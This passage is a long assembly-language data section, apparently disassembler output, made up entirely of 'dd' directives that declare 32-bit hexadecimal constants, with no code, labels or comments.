		dd 0E237005Dh, 0BF898C20h, 68F86A00h, 0EA9C6A27h, 3C967B6Dh
		dd 823CA5E9h, 0C172C20Ch, 3A960079h, 179408Ch, 8880E98h
		dd 68165EF1h, 6B885333h, 7366C151h, 0B9591395h,	0E0A613D5h
		dd 16D9A3A8h, 0E5F66E74h, 79184D4Dh, 7CB8187Bh,	78521318h
		dd 2543DE74h, 0EF09E3D5h, 29B77F8Fh, 0B7E22B06h, 3028127Fh
		dd 1275BC35h, 80E8DBB9h, 36E068B0h, 500CE980h, 2BAC416h
		dd 79DF1BEFh, 90E0D631h, 330237B9h, 0F0E91E0Bh,	93FB55B0h
		dd 166C6884h, 0EE7138FBh, 5B173B94h, 0B83B20EBh, 29024102h
		dd 6183250Ch, 21A58DEh,	0A27A7605h, 908B513Fh, 43682681h
		dd 4B95737Dh, 6885FE94h, 0AD3A6BF1h, 0D94284ECh, 0E5DC8016h
		dd 0ECE8D5F6h, 5383C1B5h, 0FAA2C160h, 7C5870E7h, 0D35B70FCh
		dd 0B15E920Eh, 6857F24Ah, 0EB80070Dh, 73E484E6h, 2706B1C8h
		dd 25A6917h, 684E01BDh,	0FD8B3D54h, 68B20198h, 357A7160h
		dd 0B10E4093h, 0E90EA310h
		dd 73EDFD33h, 13345526h, 820ED4F8h, 0D1F32C80h,	3126172Ah
		dd 81C0F32Dh, 90D07E1h,	0D1F77EEDh, 921C400Fh, 0AA8C846Dh
		dd 46E2DA67h, 7296A9FBh, 9D979A3Ch, 2F118D4h, 759E6608h
		dd 0D62D5E89h, 0AE426453h, 98B02961h, 6855203Ah, 9C917FE3h
		dd 12EC6EADh, 0F358BA68h, 1F8A10CDh, 74C38000h,	2C5BD808h
		dd 0ED2ECBA0h, 68418791h, 0E78A3703h, 0CB1067BAh, 79426356h
		dd 3C1F24Ah, 0D6B35A0h,	0C5A8E8D1h, 2F2D98DEh, 0B44FC31h
		dd 6A4921B3h, 0CF80C705h, 0C9B5633Dh, 8B60D3FFh, 0E42B1640h
		dd 3005B16Bh, 5012E7A4h, 5D215D4Dh, 0BA0488DDh,	277E7DA7h
		dd 804434F5h, 149603F0h, 7DD78609h, 0F4188722h,	8A050309h
		dd 75F11753h, 7B70FF4Dh, 58234269h, 6B5392Fh, 3DE53332h
		dd 9A568C27h, 0B4C95DA3h, 92E2FA5Dh, 0F3896CDDh, 5727443Ah
		dd 0FD29070Dh, 4F9AEFD3h, 9D78EB0Eh, 3651B55Ch,	9E6FE941h
		dd 0F2048E26h, 0BB178379h, 21E3E41h, 526073ECh,	90840114h
		dd 0E9F9319Bh, 2A162A65h, 0F406B801h, 0E2E33AF2h, 4754605Dh
		dd 29842D35h, 88003D2h,	0D8A05059h, 60FF0A8Dh, 3013E21Ah
		dd 70067B37h, 5C4CC1CAh, 0FE756D28h, 251F78F2h,	65FC01F3h
		dd 0BD521A17h, 0DDF05705h, 3CDFCCAEh, 8E6E6D49h, 0F9F70BE9h
		dd 68578206h, 46ED4320h, 1D685F02h, 88A17963h, 1C935CA3h
		dd 53BCFAAh, 0F238E957h, 5F734BE2h, 0EC5915E6h,	0C969E983h
		dd 9AF2324Fh, 885F97C4h, 0E640C532h, 8A05005Ah,	2975827Ah
		dd 0D8B558C1h, 0DD72B504h, 1096317h, 4FAD10DCh,	0BEE06622h
		dd 311BB54h, 0EE8B1F5Eh, 2035FB4Fh, 0EB514BAFh,	60BFFB87h
		dd 0DAF663CAh, 0F50FEAF6h, 63A2B151h, 67289AF1h, 69E31898h
		dd 23E9C401h, 0C3C93420h, 0F8F16497h, 835B49E2h, 0C20D5904h
		dd 0F2AFC13h, 4B633B61h, 7CA35F89h, 2A2FB2E8h, 532D195Bh
		dd 40476648h, 60DB2D4h,	0A34AF280h, 1206CED7h, 0ACD528CEh
		dd 0E95909A1h, 57654293h, 87FE6B96h, 0B48C5F5Ah, 0B1025586h
		dd 44A5D4E2h, 2D5FC4Eh,	1C641BB9h, 398B5D66h, 85096778h
		dd 7FF1CDF2h, 7DE7566Ch, 5D4A7678h, 0FED14D8Ch,	0CE71ED41h
		dd 0EC284282h, 0C1775BE6h, 53C5457Eh, 0B52EC42h, 68588C00h
		dd 0D4B12CC4h, 1013D3A8h, 22E03155h, 732E1FA7h,	0ABFAD341h
		dd 7328161Ch, 0B4DDB20h, 7DE5685Ah, 0BD80F16Dh,	78FE689Bh
		dd 0E7C89D4Dh, 0C61C048Ah, 0F1D6E95Fh, 70D2DA90h, 57FAA21Ch
		dd 0BDCC31E3h, 0F4E05B89h, 84B812AEh, 2A71F1A6h, 643039C0h
		dd 5954977Ch, 0E026E98Bh, 1E95BEDCh, 8F36FD66h,	0E2521E52h
		dd 0C8BE9377h, 2D4B126Ch, 0E9525920h, 0B75D49CBh, 22CCE102h
		dd 6C6015D1h, 9C2FA82Ch, 0E91F81D9h, 807DDE64h,	0F33E3077h
		dd 55BDED37h, 14D9E2Fh,	432F0595h, 0D370C82h, 0C3824921h
		dd 0A45C5465h, 0C6033479h, 905F8843h, 2D88E0B9h, 373758EDh
		dd 2ECBE14Ah, 40DB9D8Bh, 43D7CD9Ah, 0D7F5DA83h,	684183E5h
		dd 306F7EB0h, 0C02228C8h, 2FE97A39h, 0B2ED2EDh,	44903442h
		dd 0ABE74E8Eh, 58E9211Fh, 55696E02h, 9FAB316Eh,	0F4C06A3h
		dd 0FB25594h, 0A78F966Ah, 22D729FDh, 9100DBEh, 87772C8Bh
		dd 3E16190Eh, 2C6090Ch,	7BD173C9h, 0E0F2C44Fh, 5E6EA4C8h
		dd 0E8C4DC25h, 0A7D68CC4h, 0F422D00h, 0D4F42E31h, 8266E448h
		dd 0C1A70739h, 51D7EB46h, 0E5D96206h, 0BFAA75C4h, 0FF5DB985h
		dd 0E9072138h, 59CF8A50h, 389C0B2Dh, 0FFC239A3h, 94D70709h
		dd 2065863Fh, 594EDBE3h, 98AA22C5h, 444FC5BEh, 68E022E8h
		dd 45CB4A55h, 6F065805h, 503D635Dh, 31EA4F64h, 634941E2h
		dd 5EA85A7Dh, 0D10D4A7Eh, 0BE1115A7h, 0E273168Dh, 0EB1725h
		dd 0DFEFC478h, 799D01EEh, 317D6BC0h, 5088C30Ch,	792D6882h
		dd 0D10D4950h, 0BB5A8479h, 8BC0D47Fh, 2D73BFE7h, 30502B85h
		dd 87651A14h, 0BDDC2C93h, 0C8EE94h, 6F6890C3h, 0B0F32966h
		dd 43F45092h, 33704F2h,	0FFD0F753h, 9F2D4700h, 0EA142760h
		dd 0CBBF3C93h, 1837FA4Bh, 9DA3E03Bh, 60CCEEC3h,	0A5BB6ED2h
		dd 74096453h, 0D1492F68h, 4C2C82B8h, 72D541F2h,	53CD0CDCh
		dd 19E388Bh, 234A52E2h,	96CEDAA4h, 46043B9Fh, 0BC74E168h
		dd 3743DCF3h, 88483D6Ah, 9DDF83E9h, 0E8BF6A25h,	56F94FC2h
		dd 2B036200h, 0B6B9515Fh, 0B225902h, 7AAA4CE9h,	6CF32507h
		dd 57F2BE74h, 66933967h, 68C5B21Ch, 9CBB101Bh, 8AA94234h
		dd 6ACC7E43h, 0E63B801Ch, 6FE0D995h, 37855ABh, 0DE025C98h
		dd 897B5458h, 0D92BC0FBh, 33D3BF7Ah, 555A42A5h,	5FFDD3B0h
		dd 0CB63B095h, 4618837Bh, 0D02929A3h, 8FD915Ah,	8E331C8Fh
		dd 2D96F188h, 166D89EDh, 5A45EF03h, 0A0D91CFFh,	9A397ED3h
		dd 27B9E03Bh, 4197984Ah, 0FE81C874h, 0F70187C2h, 0A9FE41D3h
		dd 46C578h, 25660792h, 8ED4895Dh, 0F1CE7427h, 68823A5Ch
		dd 4E37861h, 0E779E1BDh, 0FD13EE71h, 0D84589AAh, 853DBBBCh
		dd 96B59829h, 6CF78016h, 9D2006BFh, 5C09C7BAh, 0B2312768h
		dd 163F52F8h, 13F8215Fh, 0F14A1B8h, 310C544Eh, 795EF027h
		dd 0A10049B7h, 46CA2C27h, 7F21B901h, 0D929C482h, 0F5AF7920h
		dd 6B769D3Eh, 0FA18ACF9h, 0CDB11EAFh, 0D9617BEEh, 661B2C0Eh
		dd 1424BA41h, 40EF0101h, 29714CD7h, 455D6E27h, 0F051AF53h
		dd 58F333EEh, 0B710542Fh, 55801AF1h, 398B01BDh,	0CC686995h
		dd 3F994D18h, 96D789E4h, 5A5750F4h, 0C05D5F2Dh,	4B08E940h
		dd 0A610E41Ah, 0F00E032Dh, 0F26F32D7h, 4041FDC9h, 78286BDBh
		dd 7C4909CEh, 7C003555h, 14BD6072h, 0C93FF6C1h,	11200FA3h
		dd 0BAFE9D5Fh, 0F52955A7h, 0F90780DDh, 0F9159E09h, 4AB64CEh
		dd 0DA2578EBh, 0B99E84F6h, 0FCE90DF7h, 0B73F3AEEh, 0E08D2DDBh
		dd 27B3F5h, 0C01DEB80h,	0D3F605E3h, 8C3FE30h, 0B02CB252h
		dd 7B4E414Bh, 4B6814E4h, 92471F56h, 0F02B2494h,	5F36DAAh
		dd 1C0434BCh, 0E13F725Fh, 656BFDE3h, 26127A70h,	31B1DF01h
		dd 0A42F38B7h, 5914F8FFh, 5080B34h, 6A1E7970h, 4689DAFh
		dd 178D840Ch, 3B2FF81Ah, 0C858B808h, 63127258h,	0DA0319A9h
		dd 3E3203FDh, 2EC1BCB4h, 40CACCA0h, 0FD0F2D6Dh,	4508307Ah
		dd 7AB911B7h, 2C3D8905h, 1462820Eh, 0CB22A7D0h,	0CAD49F62h
		dd 0CCC6224h, 6A1D0049h, 0DCCF8128h, 762CBC21h,	9A177F47h
		dd 0F82A890Eh, 12E3F710h, 9CAFA53h, 76517618h, 20BC7A25h
		dd 649711ABh, 0F1712E75h, 372F6913h, 0AE09D564h, 33388771h
		dd 680B7033h, 27A20379h, 2B223F3Dh, 0F22D6865h,	4B285CA5h
		dd 0E077F876h, 0EBC1F6F9h, 2C4B5378h, 0C2A682Fh, 56023C02h
		dd 8A2BECBEh, 0F663C81Fh, 26013DDh, 4AAE082Fh, 8FE8290Bh
		dd 5BC40A1h, 4F8D685Dh,	0A590374Bh, 0D739A902h,	8E1F61BFh
		dd 2C769D1h, 7B7441C1h,	12E277D0h, 0E5C6425Dh, 397080C3h
		dd 1BE90C72h, 0D002439Dh, 7A7A5C15h, 90414F10h,	58FAEFAAh
		dd 72318A24h, 0F217B918h, 0A02C1E9Dh, 0AB91C849h, 16070502h
		dd 5A4C646Ch, 0D83B445Fh, 31BA13BAh, 2ACE969Ch,	43D454A9h
		dd 0AD5AF72Fh, 0F3048DB0h, 544B1348h, 132C25BAh, 1D1E012Ch
		dd 0D6FB318Eh, 8D5C1242h, 80E5E95Bh, 0B6188004h, 235AB174h
		dd 63328180h, 540CC05Ch, 0E9C74E42h, 4E3B0C4Ch,	7F8F6DBEh
		dd 4E6B959Bh, 9D659EFDh, 5DC298D9h, 0B04D46BCh,	1C442C43h
		dd 279E9C07h, 8C205A7Ah, 685602A0h, 58030B89h, 0B2EB4FC0h
		dd 0CFF04D3Bh, 83A10BFh
		dd 9E0A35Ah, 0E6616F68h, 200820C9h, 7ADE689Fh, 4B688090h
		dd 0AE9E5354h, 0D1404D5Eh, 3A24E5C2h, 971C9832h, 0FFEFF320h
		dd 364B352Bh, 81110EFh,	50FD5B02h, 0ED7E0A68h, 924FE646h
		dd 9B6B1212h, 7910AA72h, 95CE13F4h, 39C81FEAh, 0F11CD417h
		dd 0E9070067h, 59B92316h, 0B402A568h, 0D75AE9B5h, 0F1778F58h
		dd 436B2C26h, 0EB070D40h, 94526059h, 76800A81h,	0EF25580Bh
		dd 8085DF28h, 60AABD9Bh, 0B70B6EC8h, 20C5B105h,	0FCC4A208h
		dd 0B6E9588Dh, 0F59F5B60h, 3E6F27A9h, 7216572Ch, 0C231FA4Ah
		dd 4C400B3Ch, 7021266h,	55DFF736h, 0D5DBF356h, 0CDFE1E03h
		dd 5F05E5C0h, 89D6030Ah, 58B3C530h, 3059EAA1h, 8872D455h
		dd 86693191h, 0D66EFC5Ah, 0DAD9EA97h, 0B23AD1DDh, 5BC38081h
		dd 17481F63h, 0EA7173E9h, 0C12E7C29h, 399E9607h, 0B320840Bh
		dd 48DE97ACh, 542F598Fh, 4C2104BAh, 8C84BF78h, 0F8111B82h
		dd 63209016h, 57520ACCh, 1FE4985Ch, 838BE888h, 987F7ADAh
		dd 2439F65Eh, 2183D27h,	45A108ABh, 0F54542DFh, 7C51F782h
		dd 0B5D1E4F5h, 61F9C909h, 37FAA364h, 9D8B82D4h,	6B497F48h
		dd 91610888h, 84664F37h, 591FAED6h, 0CE04D828h,	498E515Bh
		dd 1940C325h, 2C69AFE9h, 817274C7h, 0AE42E40Dh,	6CC5706Eh
		dd 8F6630CBh, 75E6E159h, 804131C2h, 280079B7h, 0C71480CFh
		dd 16FC66DDh, 16F042EFh, 2028B0B1h, 0BE0569A6h,	3EA557BCh
		dd 0BA96F5E8h, 0D4EFE07h, 60FF2985h, 4F6853A1h,	723FCA90h
		dd 2DA5D05Bh, 8B614B0Bh, 54F0533h, 7C040714h, 7E7F0405h
		dd 0CCBAEAD1h, 87F229B9h, 0BC5DDEB0h, 0E73C4E0Eh, 57ED2DE9h
		dd 97C1C893h, 0A6B87CBAh, 3169570h, 4B64F8F7h, 0D82EFF27h
		dd 951490E6h, 0C613E067h, 0BC06C0BCh, 0B2190A49h, 7F77CE05h
		dd 92C9017Ch, 72DE942Ah, 0A277BEF4h, 41F02905h,	9824E211h
		dd 199E01F2h, 8957174Bh, 29F120D7h, 0BA682181h,	0C78A2218h
		dd 7E8A1525h, 0A7D88856h, 51FA010Bh, 36BB62ADh,	0FE2A8796h
		dd 0E92F2417h, 31B6039Dh, 33DE93F3h, 0CFB65E08h, 0A189A62Fh
		dd 6E505A58h, 0F0FFB02Eh, 0BFDDF780h, 0C200B779h, 0B8B692ADh
		dd 6D2D35C6h, 1144A854h, 885F50BEh, 0D18FA2Ah, 290F1EBDh
		dd 0AE32579h, 252A0F40h, 30ACC94Fh, 0B879D620h,	19BC5A13h
		dd 0D914E300h, 1D74356Bh, 42538776h, 8E88578Fh,	0EF93A0DFh
		dd 58B1C423h, 9A1EA4AEh, 2D27644Ch, 88126F0h, 8EE82F5Fh
		dd 0E4D813DFh, 0D764B930h, 0F4C4557Ah, 156C17C0h, 0C70D0058h
		dd 0E911375Ah, 219DB54Ah, 0ED713955h, 40BE68CCh, 304BE91Fh
		dd 0D9BB3380h, 0BD6A4B4Ah, 0B43C780Bh, 0D0F6A7FEh, 90A2D7Bh
		dd 40885AD9h, 0DE8703C0h, 0A4E7C683h, 316E970Eh, 30EB02F5h
		dd 62FDD171h, 108017E5h, 3E3C2DE3h, 0FC226613h,	0B4FEA436h
		dd 0CA5B0500h, 7584DAFCh, 1CE7BD1Ah, 0E11691B4h, 2CAD1116h
		dd 6C587Ah, 0D64229C8h,	4911FFC9h, 19A26F5Dh, 0B290523Fh
		dd 5BA48C5h, 0E01471Ah,	0BBF40F80h, 0E4FD5BFFh,	0DC5AEBCBh
		dd 0FFD075B8h, 0D56E8D19h, 0CB983FC1h, 2B8241F8h, 562FC3F2h
		dd 0E909F3F9h, 5849E03Dh, 5F130A2Dh, 42AF0244h,	374030Dh
		dd 85A356E4h, 5A03BB39h, 5E685861h, 4F02B3DCh, 8A1954ABh
		dd 9EA5E004h, 703387A7h, 1129418h, 805F241h, 3B9588AFh
		dd 1E8A895Bh, 0E62E0E12h, 92F4838h, 2482C9Bh, 849FF1ADh
		dd 0F580EF06h, 4C014531h, 8418DCFh, 914AF830h, 4B549EEDh
		dd 73749607h, 0B7595C85h, 28A39CF0h, 20FA48A6h,	0D8FF16A4h
		dd 7995FB1Ch, 8905E889h, 2C9055E9h, 541ECCC7h, 13BE444Dh
		dd 57B3AA77h, 0B3335A72h, 74081682h, 0EE34578Dh, 906BE964h
		dd 37221F1Fh, 732D2700h, 548EE5Bh, 3B1D0708h, 0CAF82931h
		dd 11503E07h, 0B7FB85Fh, 1D32970h, 0F05918FCh, 0E48C3175h
		dd 0BB0CF58Fh, 7812270Bh, 0A1008061h, 964F2943h, 0A687490Ch
		dd 699F06Eh, 0FE03ED81h, 0E91A7D77h, 61AABD53h,	7A1C8BECh
		dd 0F7C00EF2h, 591068E9h, 24BC3FE1h, 9547E8C4h,	0AF2B845Fh
		dd 2771A0B4h, 8FDF608Dh, 63AD5AABh, 1348B989h, 0BDC19F6Ch
		dd 86D4A60h, 0A1DF8F3h,	0D3F70A39h, 734F028Ah, 8B727B97h
		dd 5D0F6709h, 20DD7803h, 0F0BFFED1h, 2B140B9Ch,	25FF7147h
		dd 0FEB2D077h, 0C3BA0502h, 685DF543h, 0BEB769FBh, 60D48001h
		dd 0EBD132FDh, 0FF5FD5FAh, 0FAD6F9F8h, 0CE314674h, 493D5FFDh
		dd 0A3688804h, 475AEE1Eh, 290A022Ah, 0D4AFC27Ch, 9764B591h
		dd 72F2D7B1h, 90D6CCC8h, 5F428952h, 5C8272EFh, 0F62D7868h
		dd 2FF0908Bh, 68369854h, 0D8A29788h, 0C2B020AEh, 0E2D5E94h
		dd 5AD9093Ch, 428825B2h, 73278FC6h, 0C3A27C99h,	134CFF65h
		dd 0F34B7858h, 0D886CF02h, 6F78234h, 0AB550419h, 5A217E2Ch
		dd 0AE8594D8h, 0AFB425E2h, 7C53B992h, 672202B8h, 18772E9Eh
		dd 3474A896h, 9C146380h, 67133187h, 0E2000588h,	71E24CA3h
		dd 0E1A725E9h, 77E9E3DCh, 0F7666848h, 7526DF58h, 11CDB826h
		dd 5531841Ah, 4425AC45h, 873F2047h, 2E95F50h, 17696816h
		dd 0AE7629BFh, 5751C977h, 53CE327Fh, 55D28558h,	101D29EDh
		dd 0EA1C5845h, 0BA13EC2Dh, 6D08E3A1h, 0FF4A3FE5h, 6312E521h
		dd 8130B72h, 0A6262169h, 0CC68008Bh, 6047BE1Dh,	9737F82h
		dd 9E35B3B2h, 87841FFCh, 5F099CBFh, 953E66BDh, 84986014h
		dd 0BD349520h, 0AB9DA6C3h, 4D055F8Bh, 5D2DE968h, 0A525CB44h
		dd 799501E4h, 535C420Bh, 0C98F73D5h, 2F54E57Dh,	4D550CC2h
		dd 13BBA433h, 0E6BCA53h, 12463468h, 428D9DBBh, 0C7555EE7h
		dd 0FCD3B4BCh, 0BA5239A8h, 0D1D4A5DAh, 0D5F909D5h, 5CBC6E7Dh
		dd 824D6BE8h, 0C5823075h, 59BBBD24h, 9B34852Ch,	0E8891A0Bh
		dd 3D4E0EF7h, 5A9B0BC7h, 0F284B1F8h, 16EA02CFh,	0DD11C93Dh
		dd 8297B6Ah, 3C760E83h,	55F24D01h, 316DFE8Ah, 40D3E820h
		dd 0C2EC5D73h, 803206BFh, 51500090h, 4AB495B5h,	5967EC30h
		dd 0E5073118h, 0E75CED57h, 93A5AE9h, 62005F29h,	137A5563h
		dd 432D699h, 9B7760D1h,	4E923A6Ah, 12340BACh, 7F04FE55h
		dd 0CD94CB03h, 0B488F2AEh, 101B80E9h, 0E1AA7815h, 0C1686855h
		dd 601BFE2Ah, 689F0C54h, 5F7458F2h, 9813D22Dh, 2D328B90h
		dd 2E6544E0h, 1F87EA8Dh, 0CD79E43Ah, 0C52CD741h, 0C4B62A78h
		dd 0E522DC4h, 56B89D13h, 15009BBEh, 2CBA423Eh, 27C5B8EDh
		dd 1F807BE9h, 0F86976B9h, 0C84C01FEh, 685EB014h, 0BD6E5C0Bh
		dd 215109D2h, 786BD0F6h, 0EC1E5E08h, 36D2B5CCh,	0DAA2F653h
		dd 59951C70h, 43C16A71h, 68A8E7C0h, 0C6BF7042h,	30CD0B72h
		dd 780559EFh, 589CCC1Eh, 0DB4A96C4h, 4B7B62A7h,	0B1B4042Fh
		dd 0AF3CC406h, 23C4E41Dh, 21BBC828h, 2B02C4F9h,	9E606EDFh
		dd 6BB7A4B4h, 0C04DE939h, 3DD2B15Bh, 149FD81Ah,	0E02C7155h
		dd 0D80D4893h, 7BF2700h, 6A0EB951h, 0C48B8B8h, 0D5FC8AE9h
		dd 0A10BF178h, 761F595Ah, 0D1F7061Fh, 440A1841h, 0E2E7BC5Ch
		dd 665EFA3Eh, 4C05CE90h, 5278284Eh, 5D2B2092h, 207DBE14h
		dd 60292DA5h, 0BC7BAD83h, 5F8C6383h, 0F6C7B703h, 2489C01h
		dd 72DBED0Ch, 8FE12947h, 0B0C96491h, 7C307331h,	63B8F909h
		dd 20A8378Fh, 14AE0546h, 57E1D12Ch, 3AECFC25h, 81080477h
		dd 0AC54F6C9h, 27F11077h, 66585901h, 2E6E5B68h,	0C2D81056h
		dd 0F23A4EF5h, 5AD58459h, 265FD1AFh, 0D44DA58Ch, 0C3136201h
		dd 63464E02h, 3403B610h
		dd 5634C601h, 8C81BE83h, 0A93F1704h, 0DC5B8440h, 8D52540Bh
		dd 7FCED420h, 0EFE0355Eh, 27E4BF1Eh, 6DC241DAh,	8F3079D3h
		dd 0EAC130CDh, 9A02F007h, 33D2B7CBh, 0AC847B95h, 0BD2816BAh
		dd 9AB69273h, 0C065A830h, 0E5E603EDh, 800807C1h, 197019F5h
		dd 0E2AD4EA5h, 5621B335h, 0EE26CFCFh, 0CBF898C9h, 55ABBF57h
		dd 0AF16DFF8h, 1E203190h, 0A2AE80F1h, 35EA1253h, 803AFD09h
		dd 7FADF781h, 6FFD4CFBh, 0B2E2704h, 3CF55Ah, 0B3E95F08h
		dd 0A6ACB15Eh, 0C32FF8F4h, 16D0FDE9h, 0B072B47Bh, 0EC1F86F9h
		dd 0C9CBD5F6h, 0E0E9328h, 9741CF6h, 0C8FF5DE9h,	0B7565E74h
		dd 5CF9655Ch, 1397F282h, 27D6C76h, 0BA49693h, 0DE9562D5h
		dd 0B3210B9Ch, 0C7624E7Eh, 0A9588B02h, 0F617FF73h, 0C2D1DAAh
		dd 607D7EFDh, 47B55B3Fh, 74640CC2h, 754349E7h, 0C34D02FFh
		dd 0BEC71CA8h, 3A868DDDh, 0CB3E228Ch, 0B02D504Ah, 5AC97093h
		dd 0CB231FA0h, 0D476C180h, 0C139F58Ah, 0FA24C747h, 95FE32B5h
		dd 2A6804CBh, 16F3A373h, 33CB3A33h, 7849A04Eh, 0EB88304Eh
		dd 2F78B692h, 0F30EC5D3h, 0C6F21FDFh, 0FE517D71h, 0FA1C792Ch
		dd 0F15A118Bh, 44630B81h, 0F6082A90h, 0EC027D82h, 985D5BAAh
		dd 8B4D128Ah, 301EB0BDh, 0E60D06Eh, 0A219EBCEh,	63EAD18Dh
		dd 0DCBEFDA6h, 0F79E18B0h, 6FC0DF88h, 0BF541F0Bh, 52C2092Eh
		dd 5A068468h, 0FE4B2DE8h, 4AE1D57h, 0D049F8B1h,	0B84B9CA9h
		dd 6FC07A4Ah, 2E5984CEh, 2DC46FFDh, 0A07FE989h,	35F7E681h
		dd 2D6E48CFh, 7C7CE73Bh, 0CDF65007h, 0AD3B4808h, 0C9189C2Fh
		dd 288D40Bh, 72AD8848h,	60AFCC9Dh, 79514606h, 1FB258ACh
		dd 0EBABE92Ah, 265A87A1h, 0F8A34061h, 2CD95C4Fh, 2231916Ah
		dd 65422C2h, 48D62A1Dh,	233B120Ch, 95AD043Eh, 0F15B0B4Ah
		dd 2B074D2Ch, 642ED8Bh,	0B8D2A85Ah, 5A1AAADh, 12EE71C0h
		dd 3672BBE4h, 0F0EF9001h, 0DF9BFBFh, 4B30E4EDh,	0FD400084h
		dd 0F54DBF25h, 10543B5h, 0DB2CE9D7h, 0F2D706E8h, 0C60A18C5h
		dd 3FBCEDA1h, 357B8002h, 0EF1754E2h, 725BCD88h,	68560959h
		dd 66661219h, 0D981D725h, 41408C8Bh, 67955810h,	8325A636h
		dd 0A3E98EB2h, 0A701BC8Dh, 844551C3h, 2DFB62FBh, 8F10297Dh
		dd 33326407h, 0CC250DE8h, 63E532A0h, 450969EDh,	575CD81h
		dd 0DFF67492h, 539BE909h, 90968D59h, 9FA2E25h, 0D424D06Bh
		dd 0A7ACB858h, 8AEEE535h, 0C49116D6h, 0FF02B122h, 5A39BD40h
		dd 0DF7F1C24h, 46A71030h, 792ECAB3h, 0C4A7BD92h, 0E9D96F5Eh
		dd 2A239BEDh, 0A507ECD7h, 5E6A2D21h, 5282F58h, 0B55152D8h
		dd 0D0508469h, 74E580DCh, 9D84E916h, 5815C962h,	0C8FE3769h
		dd 5826AC04h, 0B2CCEB5Fh, 0E9575B20h, 61ABA535h, 0AAD8801h
		dd 0EACC277Bh, 67E510D5h, 0EC23EC3Eh, 4F3305CAh, 0BE87728Ah
		dd 768B7D60h, 29592771h, 83E85060h, 8F62A99Eh, 1297DE47h
		dd 9AF4A4EBh, 9D34F89Fh, 5F520359h, 14017F6Ch, 0E9471E16h
		dd 0EDA5FFCFh, 6D9801F8h, 0AC27395h, 58EA1F82h,	6C0103F2h
		dd 565D4016h, 53D7BE9h,	0F858C716h, 169658D4h, 8BB8A097h
		dd 7F7869F2h, 0E9F8269Eh, 690A95ACh, 713BC52h, 9D80CC67h
		dd 3FD97100h, 0FFBE63BDh, 41E91BACh, 0EECD6946h, 140940D5h
		dd 5120490h, 0CDFE1781h, 19ADB6ECh, 669EE80h, 0E4E6D884h
		dd 0EFD6E913h, 62C2C634h, 0B5144C6h, 13F6622Bh,	0B8120E76h
		dd 0D5F74D41h, 2C61EE87h, 0D1D02680h, 0DE01EA97h, 0E909BEB3h
		dd 16ECE3F4h, 9FE9E7Eh,	1560898Bh, 68045551h, 44F66A57h
		dd 6D2138EFh, 0CEB23612h, 0F26897A0h, 0E3469F56h, 1E7D1509h
		dd 76410923h, 3D7F02EEh, 0B9C02105h, 5781EB85h,	0AE6C7EF1h
		dd 1535013h, 0CD73A9B7h, 0F13AAA20h, 4BC1CA02h,	614A0FCCh
		dd 0BB9DBAF0h, 64F4E66h, 9D2428Eh, 4D891C62h, 12041606h
		dd 5A01F218h, 41AECA0Ah, 7AD1F80Dh, 0C6D0F2BDh,	6C28946h
		dd 0A5D08495h, 0AD6C9BA1h, 0B5787B2h, 0B0B44EE2h, 23125EAEh
		dd 1A98432Fh, 0C800BE55h, 3108E05Ch, 5F65E9C6h,	166FE358h
		dd 7F90759h, 6430E805h,	2857E036h, 85A5424Dh, 52CDAF3Ah
		dd 71161522h, 0F4CF9143h, 7E8A6F81h, 0D502692Dh, 66D7CE31h
		dd 34A6C175h, 0CC44C448h, 0E926E0D1h, 66852617h, 9C07F0BDh
		dd 847BE889h, 0E4D645B8h, 82424F6Ah, 0D95D54E6h, 0ED599FA3h
		dd 32AF7518h, 0D5F8704Fh, 0A264F305h, 4380BA66h, 0D4286845h
		dd 0D1B1CC94h, 7DFAFCEEh, 244EADA9h, 1B1E04BEh,	24AF028h
		dd 46FC3EBh, 24ABA35Ch,	0FDCCC2E7h, 0BE066577h,	0AF81A1A5h
		dd 3B53D101h, 5CBE3698h, 0BBA42A4Fh, 527ECEDDh,	5F5FA380h
		dd 457CD499h, 6813B656h, 0E9176199h, 0B8D874F6h, 1E1A0C0Dh
		dd 28FE378h, 26E1912Dh,	3C7CE93Ah, 34E85AD7h, 0E21C1250h
		dd 9440487Eh, 9CDD1700h, 5AD3319Dh, 990DC0B7h, 4B969910h
		dd 5DCB2553h, 9A59B15h,	31F5B90Eh, 0AC7D093Eh, 0DA2E605Fh
		dd 80CEA1C0h, 1C2BBFFDh, 515027A2h, 0AF824D9h, 45F75802h
		dd 4C6C25AFh, 715D20h, 78495E25h, 7E8C12Ah, 99A8B490h
		dd 94173A2Dh, 80E0CCBBh, 0FEF10A81h, 3CDA9EDCh,	0D9E9B5CFh
		dd 177168CDh, 26A282B2h, 0C70EFE69h, 55EC5AB0h,	6852B702h
		dd 4C7D0BB8h, 0BDE570B4h, 0B01753C6h, 0AF1326h,	9A6A5C68h
		dd 0F5758110h, 452C041Ch, 5D23E94Bh, 0EEFD2EE2h, 0B2B64E85h
		dd 56716159h, 3E301D9Bh, 0B8CD6A2Ch, 11339BAh, 0CF591CEBh
		dd 0F2508D9h, 21B204B7h, 76CFFEB0h, 0E201484Dh,	50066B46h
		dd 1128183h, 14EFE958h,	0B2028972h, 29347437h, 809A2EAh
		dd 6EF285CBh, 7719BD00h, 0FC4D5C7Ah, 0FF786F09h, 7BE06A02h
		dd 31600D54h, 0CE156526h, 0CDE0F2AEh, 4BE3D118h, 390BF3F2h
		dd 800BCC68h, 1BFF3712h, 0DD312F5Bh, 501A0E5h, 1B7B4395h
		dd 1A18842Fh, 53599907h, 3DB2E9E1h, 17F1E662h, 0AC128275h
		dd 0A233DA68h, 400FB763h, 480320Ah, 0E5C055F5h,	8BAB8206h
		dd 245C2900h, 0BD5B7108h, 0E9726716h, 653AF645h, 8762EE16h
		dd 14F05FB6h, 10B55A0h,	0C093ECB7h, 0C01DB38Ch,	801603EBh
		dd 0ADB1D3CBh, 0B3FC3D8h, 23716851h, 0DE88B818h, 0E926F1E4h
		dd 52878E84h, 0D28EA2B2h, 1021B6E1h, 0BC5EB70Bh, 0E11011Dh
		dd 8CB83118h, 0BFED6FF4h, 3C7DAFE1h, 0F7175F1Eh, 2AE4B8A1h
		dd 51D243Fh, 38572FADh,	0E26853ACh, 718F1251h, 5079E85Bh
		dd 72129801h, 100150CCh, 2268AE3Bh, 898BC26Fh, 64024A75h
		dd 81D3716Bh, 0CE91602Dh, 0B013607Ah, 5AAC0103h, 0C25211E1h
		dd 899EC757h, 534155E9h, 7E2A7142h, 0E6C93C1Eh,	283DD90Dh
		dd 58F6E016h, 0EE090F7Fh, 0D7C233E9h, 0BFB3167Fh, 0DE98938h
		dd 31E89C4Ah, 884B9E2h,	0B12A968h, 29D8D9E9h, 2065F7A2h
